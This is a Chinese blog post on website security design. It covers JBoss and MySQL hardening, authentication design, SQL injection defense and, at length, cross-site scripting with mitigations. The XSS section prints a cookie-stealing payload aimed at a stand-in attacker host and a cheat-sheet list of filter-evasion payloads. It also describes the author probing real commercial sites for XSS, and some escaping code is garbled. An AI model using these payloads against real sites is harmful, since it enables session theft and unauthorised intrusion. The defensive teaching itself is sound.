网站安全性设计

1 、关闭jmx-console ：
删除
/export/home/jboss-4.0.3SP1/server/default/deploy 下目录jmx-console.war 、management
2 、关闭web-console ：
删除
/export/home/jboss-4.0.3SP1/server/default/deploy/jbossweb-tomcat55.sar 下目录ROOT.war
3 、关闭status 统计信息：
修改/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war/WEB-INF/web.xml
屏蔽其中jboss 的内容: 粗体为添加屏蔽符号：



4 、删除jboss 主页相目录和文件：
/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war 下：Manager /favicon.ico/jboss.css/jbossindex.html/logo.gif

lion:/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war # rm -rf manager favicon.ico jboss.css jbossindex.html logo.gif
5 、备注：

（三）、关闭完成测试：

1 、 http://127.0.0.1/jmx-console
2 、 http://127.0.0.1/web-console
3 、 http://127.0.0.1/jbossindex.html
4 、 http://127.0.0.1/status
5 、测试结果：保证上述的服务都已关闭

4 、数据库的安全性

设置数据库只有应用服务器才能连接。其他外部的机器一概不能连接。设置复杂的密码。

（1）修改mysql 的监听地址：

默认mysql 是监控所有的ip 地址，也就是0.0.0 .0 ，为了安全考虑，我们也许只要mysql 监控本地地址就好了。那么可以只要修改/etc/init.d/mysqld 文件，在start 部分找到类似下面这行

$bindir/mysqld_safe --defaults-file=/etc/my.cnf --datadir=$datadir --pid-file=$pid_file >/dev/null 2>&1
　　修改成下面的这个样子
　　$bindir/mysqld_safe --defaults-file=/etc/my.cnf --datadir=$datadir --pid-file=$pid_file --bind-address=127.0.0.1 >/dev/null >2&1

　　注意：对于绑定地址这个参数不要加在–defaults-file 参数前面，否则mysql 会启动不了，并给出下面的错误：
　　051025 9:57:27 [ERROR] /usr/libexec/mysqld: unknown variable 'defaults-file=/etc/my.cnf' 所以我们把–defaults-file= 参数放在最前面。
　　或者你可以在/etc/my.cnf 的
　　[mysqld] 段加入
　　bind-address=127.0.0.1 这样一行。
　　重启mysql ，即可生效。

（ 2 ）尽量养成在 mysql 下输入密码的习惯，因为 Shell 下面输入的时候可能会被其它人看见。

（ 3 ）删除历史命令记录

这些历史文件包括 ~/.bash_history 、 ~/.mysql_history 等。如果打开它们，你会大吃一惊，怎么居然有一些明文的密码在这里？！

（ 4 ）设置数据库的访问权限

5 、数据的安全备份与恢复机制。

6 、防止感染病毒或木马的图片或附件上传到网站上。

7 、使用网页防篡改工具。

8 、使用防火墙、入侵检测、WEB 安全网关等安全软件来保护系统。

9 、使用WEB 应用防火墙

10 、使用漏洞扫描工具对网站进行安全性测试

二、网站开发方面的安全性考虑

1. 用户身份验证

传统的用户验证过程如下：将客户端输入的验证信息进行MD5 加密形成“ 密文 1” ，发送到服务器端，服务器端从数据库读出验证信息的MD5 值（密文2 ），然后“ 密文1” 与“ 密文2” 对比，若相等则认证成功，否则失败。但是，如果“ 密文1” 在传输过程中被非法获取，非法用户即使不知道“ 密文1” 的内容，直接向服务器发送“ 密文1” 并请求验证，则验证可能成功，用户的真实性无法保证。因此，需要对用户的验证过程进行改进。在客户端请求验证的同时，通过Ajax 技术异步向服务器申请一个临时的验证码，客户端将用户信息进行n 次MD5 混合运算后生成“ 密文1” ，附加验证码一起发送到服务器，服务器首先检查验证码是否与服务器端一致，若一致，到数据库中检索是否存在“ 密文1” 的用户，存在则成功，否则失败。验证码是改进后的验证关键，同时验证码还可以防止入侵者使用程序自动登录服务器，进行密码的暴力破解。因此，技术上要求不能被复制，不能被扫描仪自动识别，随机生成。采用模糊的图片方式才能达到要求。

2 、使用HTTPS 进行用户身份认证。如果不采用这条，至少要采用第一条。

3 、双重验证

有些系统只在客户端进行验证，这是很不安全的。因为在传输过程中有可能被恶意篡改，服务器得到的将不是真实的数据，或者直接在URL 中输验证请求，将会绕过客户端的验证程序，提交不安全的数据。因此，可以采用双重验证的方式，客户端的验证可以提高与用户的交互性，服务器端的验证保证数据的安全性。

4 、抗SQL 注入式攻击

SQL 注入式攻击是指在输入框或URL 中输入SQL 语句，绕过验证程序，非法获取用户的访问权，进行非法操作的入侵方式。防御SQL 注入式攻击的方法常用两种，一种是使用数据库管理系统的存储过程，另一种是对输入的信息和URL 请求信息中的敏感关键字过滤。

怎样防止SQL 注入？
比如URL 、表单等提交信息时，通过一段防止SQL 注入的过滤代码即可防止出错信息暴露，或者通过转向，当系统出错时转到一个提示出错的页面等。同时服务器权限设置是一个非常重要的方面，由于涉及到服务器的配置比较多，本文不介绍。

对于文本型输入，如果要进行检查，就得根据字段本身的性质进行。例如如果是年龄，就得限定必须是数字，大小必须限定在一个范围之间，比如说18-120 之间。对于用户名，应该建立一个集合，这个集合里存放有被允许的字符，或被禁止的字符。

这里特别需要说明的一点是关于检查程序的问题。目前，程序对输入数据的检查是在前台通过客户端脚本完成的，这样攻击者很容易就可以绕过检查程序。建议采用前后台结合的方法，既可以保证效率，有可以提高安全性。

5 、使用Acegi 进行权限控制。

6 、抗Cross-Site Scripting

风险：

可以偷盗或者操作用户Session 和Cookie ，这样攻击者可以扮演一个合法的客户进行操作。

技术说明：

Cross-Site Scripting 是一种秘密攻击行为，它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实：网站未对用户在页面中输入的JavaScript （通常是作为参数值）进行清洗（消毒）。这样，当在返回信息中包含这段JavaScript 代码，这段代码就会在客户端的Browser 中执行。这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行，收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie ，

攻击者会做进一步处理：攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接，将会向包含恶意代码作为参数的网站发起一个请求。如果这个网站将这串参数值（恶意代码）嵌入在返回中，恶意代码将在客户端的浏览器中执行：

恶意代码可能会做：

1. 将用户的cookie 发送给攻击者

2. 将能够通过Dom(URLs, Form field 。。。) 取到的信息发送给攻击者，结果是客户的安全性受到了威胁。

一些注释：

1. 虽然攻击者的Web Site 也被卷入，但是并没有直接包含进来。攻击者通过采用“jump station ”方式将返回客户，好像是合法的（It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. ）。无论如何，由于用户是在使用这个特定的网站，而且是这个网站的直接返回，因此可以认为是这个网站的安全漏洞。

2. 这个怀有恶意的链接由攻击者生成，可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email 的方式发送给受害人。

3 ．由于用户输入是作为form 的字段值，可以知道这串恶意代码从什么地方来的，

4. 各种浏览器实现的不一样，有时候在这种浏览器上没有问题，但是换一种浏览器就会有问题。

攻击方法：

写一个链接：参数值为：

document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie

</SCRIPT>

这样，当服务器返回时，上面这串脚本将自动执行，将本地的Cookie 发现指定的URL ，用户资料泄露了。

根本原因：

1. 没有对输入进行约束，没有对输出进行编码
2. 没有严格区分“ 数据” 和“ 代码”

解决方式：

1. 加强对参数的校验：
一定要做，大量的漏洞都是针对参数未作校验引出很多攻击手法( 会有如何检查参数的单独说明)

使用时机：

我尝试在各种不同网站寻找 XSS 漏洞， baidu, amazon.cn, youku.com,dangdang.com 等等。结果，我发现XSS 漏洞非常普遍！其实XSS 利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结一下几个可能会出现漏洞的地方：

1. 搜索引擎

2. 留言板

3. 错误页面

通过在上面那些类型的页面输入一些特殊的字符（包括< > / " ），如：</?jjkk> ，然后在结果页中的源码处搜索是否存在原样的：</?jjkk> ，如果存在，恭喜你，发现了一个XSS 漏洞。

分类：

1. DOM-based cross-site scripting
页面本身包含一些DOM 对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM 操作：

document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子，假如某个脆弱的页面的代码如下：
<HTML>
<TITLE> Welcome! </TITLE>
    Hi
<SCRIPT>
var pos=document.URL.indexOf( "name=" )+ 5 ;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
    Welcome to our system
    …
</HTML>
攻击者使用如下的URL 访问时，则非常危险：
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
试了一下，貌似IE 、FireFox 等浏览器默认对<script>alert(document.cookie)</script> 进行了编码，阻止了脚本的执行。但是对于 DOM 操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：
<SCRIPT>
var pos=document.URL.indexOf( "name=" )+ 5 ;
var name=document.URL.substring(pos,document.URL.length);
if (name.match( /^[a-zA-Z0-9]$/ ))
{
document.write(name);
}
else
{
window.alert( "Security error" );
}
</SCRIPT>
2. Reflected cross-site scripting
        也被称为None-Persistent cross-sitescripting ，即，非持久化的XSS 攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL ，当URL 地址被打开时，特有的恶意代码参数被HTML 解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
        持久化XSS 攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。

实施方式：

我们来试一把Reflected cross-site scripting 。当我们在某网站输入参数XXX ，发现参数XXX 原样的出现在了页面源码中：

<input type= "text" class= "Seach" name= "w" value= "XXX" />
OK ，可以开始做文章了，我们将XXX 替换为：abc"/><script>alert('haha')</script><a href=" ，返回的HTML 代码如下：

<input type= "text" class= "Seach" name= "w" value= "abc" /><script> alert( 'haha' ) </script> <!--" />
这样，<script>alert('haha')</script> 被执行了。这里再举例一些XSS 攻击行为：
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d); 更加详细的列表请参见 5

危害：

1. 盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

2. 控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

3. 盗窃企业重要的具有商业价值的资料

4. 非法转账

5. 强制发送电子邮件

6. 网站挂马

7. 控制受害者机器向其它网站发起攻击

防范：

1. 必须明确：一切输入都是有害的，不要信任一切输入的数据。

2. 缓和XSS 问题的首要法则是确定哪个输入是有效的，并且拒绝所有别的无效输入。

3. 替换危险字符，如："&", "<", ">", """ ，"'", "/", "?" ，";", ":", "%", "<SPACE>", "=", "+" 。各种语言替换的程度不尽相同，但是基本上能抵御住一般的XSS 攻击。
[list=a]

4.            python 的cgi.escape 函数：

        def escape (s, quote=None):
         '''Replace special characters "&", "<" and ">" to HTML-safe sequences.
             If the optional flag quote is true, the quotation mark character (")
             is also translated.'''
         s = s.replace( "&" , "&" ) # Must be done first!
         s = s.replace( "<" , "<" )
         s = s.replace( ">" , ">" )
         if quote:
         s = s.replace( '"' , """ )
         return s

5. ASP 中的Server.HTMLEncode ：
<%= Server.HTMLEncode("The paragraph tag: <P> ") %>

6.            ASP.NET 的Server.HtmlEncode 及Server.UrlEncode ：
                String TestString = "This is a <Test String>." ;
        String EncodedString = Server.HtmlEncode(TestString);
        Server.UrlEncode(Request.Url.ToString());

7.            PHP 的htmlspecialchars 方法：

        <?php
          $new = htmlspecialchars( "<a href='test'>Test</a>" , ENT_QUOTES);
          echo $new ; // <a href='test'>Test</a>
         ?>

8. JAVA 中的java.net.URLEncode.encode ：
String mytext = java. net . URLEncoder . encode ( " 中国" , "utf-8" );

9. 有些网站使用过滤javascript 关键字的办法来防止XSS ，其实是很不明智的，因为XSS 有时候根本就不需要javascript 关键字或者对javascript 关键字进行格式变化来躲过过滤。

10. 为所有的标记属性加上双引号。应该说这也不是万全之策，只是在转义了双引号的前提下的一道安全保障。比如：
不加双引号时，onclick 被执行了：
<a href= http://www.xxx.com/detail.asp?id=2008 οnclick= 'javascrpt:alert(' haha ')' > 加上了双引号，onclick 不会被执行： <a href= "http://www.xxx.com/detail.asp?id=2008haha')'" >

11. 将数据插入到innerText 属性中，脚本将不会被执行。如果是innerHTML 属性，则必须确保输入是安全的。如ASP.NET 中：        <%@ Page Language= "C#" AutoEventWireup= "true" %>
    <html>
     <body>
     <span id= "Welcome1" runat= "server" > </span>
     <span id= "Welcome2" runat= "server" > </span>
     </body>
    </html>
    <script runat= "server" >
      private void Page_Load (Object Src, EventArgs e)
      {
     // Using InnerText renders the content safe–no need to HtmlEncode
     Welcome1.InnerText = "haha" ;
     // Using InnerHtml requires the use of HtmlEncode to make it safe
     Welcome2.InnerHtml = "Hello, " + Server.HtmlEncode( "haha" );
      }
    </Script>

12. 使用IE6.0SP1 的cookie 选项HttpOnly ，注意，HttpOnly 只能阻止恶意脚本读取cookie ，并不能阻止XSS 攻击。比如在ASP.NET 中：
        HttpCookie cookie = new HttpCookie( "Name" , "ZhangChangrong" );
    cookie.Path = "/; HttpOnly" ;
    Response.Cookies.Add(cookie);

13. 使用IE 的<IFrame> 的Security 属性，设置为restricted 后，frame 中的脚本将不能执行( 仅限于IE) 。如：
<iframe security= "restricted" src= "http://www.somesite.com/somepage.htm" ></frame>

14. ASP.NET 中的ValidateRequest 配置选项。默认情况下，这个功能是开启的，这个功能将会检查用户是否试图在cookie 、查询字符串以及HTML 表格中设置HTML 或脚本。如果请求包含这种潜在的危险输入，就会抛出一个HttpRequestValidationException 异常。我在尝试试探当当网的XSS 漏洞时发现这个异常信息，可以说当当网使用了ValidateRequest 这个选项，或者从另一方面说，也许是无意中启用了这一选项，同时，将错误信息抛出给用户是非常不安全的。

15. 给一个页面设置ValidateRequest 选项：

<%@ Page Language= "C#" ValidateRequest= "false" %>

a.             在Machine.config 中设置全局ValidateRequest 选项，注意，如果在Web.config 中重新设置，不会覆盖Machine.config 中的这一设置：
                <system.web>
         <pages buffer= "true" validateRequest= "true" />
        </system.web>

让我们来目睹当当网给我们带来的这一盛况：

在一些必须使用到HTML 标签的地方，比如公告栏，可以使用其他格式的标示代替，比如论坛中广泛使用的BBCode ，用...["i] 来表示斜体。

然而，对于一些允许用户输入特定HTML 的地方，强烈建议使用正则表达式进行匹配。比如：    if ( /^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i )
    {
     #Cool, it's valid input
    }

发现问题：

1. 查找所有包含用户输入的入口。

2. 跟踪流入应用程序的每一个数据。

3. 确定数据是否与输出有关系。

4. 如果与输出有关，它是不是原始数据，是不是经过处理的？

参考资料：

1.http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

2.Michael Howard, David LeBlanc. "Writing Secure Code"
3.Mike Andrews, James A. Whittaker "How to Break Web Software"
4.http://en.wikipedia.org/wiki/Cross-site_scripting
5.Klein, Amit (July 4, 2005). "DOM Based Cross Site Scripting or XSS of the Third Kind". Web Application Security Consortium. Retrieved on 2008-05-28
6. http://ha.ckers.org/xss.html

7 、网站的错误信息必须经过处理后再输出

　　错误消息常常包含非常可怕的技术细节，帮助黑客攻破您的网站，您应当对网站底层程序的错误消息进行处理，防止那些调试信息，技术细节暴露给普通访问者。

micronetboy

关注

0
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
网站安全性设计

 Normal 0 7.8 磅 0 2
复制链接

扫一扫